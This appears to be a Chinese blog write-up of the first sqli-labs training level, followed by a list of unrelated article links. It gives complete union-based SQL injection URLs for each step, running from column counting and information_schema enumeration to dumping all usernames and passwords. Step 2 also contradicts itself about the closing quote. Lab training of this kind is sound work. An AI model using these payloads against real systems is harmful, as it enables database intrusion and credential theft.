sqli-labs练习(第一关)——字符型
首先,进入靶场
1、判断是数字型还是字符型
在url后面分别添加?id=1, ?id=2, ?id=2-1
,观察页面的变化,判断是字符型还是数字型。
(如果id=2-1 与 id=1的页面一样,就是数字型;如果id=2-1与id=2的页面一样,就是字符型)
http://172.16.11.222/sqli-labs/Less-1/?id=1
发现它是字符型。
2、通过报错判断闭合符
在id=2后面分别加上'
, "
即单引号,双引号
http://172.16.11.222/sqli-labs/Less-1/?id=1%27
发现加'
时报错了,而加"
是正常显示,说明闭合符是"
。所以我们应该使用'
,不能让它闭合了
3、确认查询的字段数量
http://172.16.11.222/sqli-labs/Less-1/?id=1%27%20order%20by%203%20--+
在后面分别添加order by 1 --+
,order by 2 --+
,order by 3 --+
……order by n --+
,观察是否报错
我们发现在by 3的时候还是正常的,而by 4的时候就没了,说明要查询的字段数量是3个。
4、确认占位信息
…… union select 1,2,3 --+
把id的值换成-1,不让它显示正常的值,然后在后面加上union select 1,2,3 --+。查看字段的占位信息。
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,3%20--+
1的位置是dhakkan,固定的,只能在2,3下手。
5、找库名
…… union select 1,2,database() --+
,把3换成database(),即在输出3的地方输出数据库名。
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,database()%20--+
发现数据库名字是security
6、查表名
…… union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
group_concat()是把要输出的内容都放在一个分组里输出,如果不加的话,就只会输出第一个表名。如下:
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
7、找表字段
至于找哪个表里的内容,当然是users表
…… union select 1,2,group_concat(column_name) from information_schema.COLUMNs where table_schema='security' and table_name='users'--+
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.COLUMNs%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+
users表里有id,username,password三个字段。
8、找用户名和密码
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(concat_ws(%27,%27,username,password)%20SEPARATOR%20%27|%27)%20from%20users%20--+
账号密码就出来了
不同用户以|
分割,账号密码以,
隔开
- HDUOJ--------1420Prepared for New Acmer
- PowerVM虚拟化环境下 CPU 利用率的监控与探究
- 虚函数中构造函数的调用顺序
- HDUOJ-----4512吉哥系列故事——完美队形I(LCIS)
- go语言mongdb管道使用(二)
- HDUOJ--4565 So Easy!
- Go 语言Map(集合)
- 简单的java实验,涉及到 类继承以及接口问题,方法体的重写(区别于重载)
- java 快速求素数
- 狄斯奎诺(dijkstra 模板)
- HDUOJ---汉洛塔IX
- 小错误系列
- HDUOJ-----4510 小Q系列故事——为什么时光不能倒流
- HDUOJ----4509湫湫系列故事——减肥记II
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 解决Seafile局域网访问失败
- 一键解锁网易云音乐变灰歌曲
- 彻底理解 IO多路复用
- 分享Apache环境禁止目录浏览的方法
- DB2 Linux平台安装 Part 1 Linux环境配置
- DB2 Linux平台安装 Part 2 单机版软件安装
- DB2 Linux平台安装 Part 3 实例的建立与配置
- C++核心准则Con.2:默认情况下,将成员函数定义为const类型
- C++核心准则Con.3:默认情况下,传递参照常量的指针或引用
- C++核心准则Con.4:如果一个对象在构建之后值不会改变,使用const定义它
- C++核心准则Con.5:对于可以在编译时计算的值,使用constexpr进行声明
- DB2 Linux平台安装 Part 4 创建数据库
- VBA编写Ribbon Custom UI编辑器03——认识Ribbon的xml
- VBA编写Ribbon Custom UI编辑器04——解析xml
- VBA编写Ribbon Custom UI编辑器05——转换结构体XML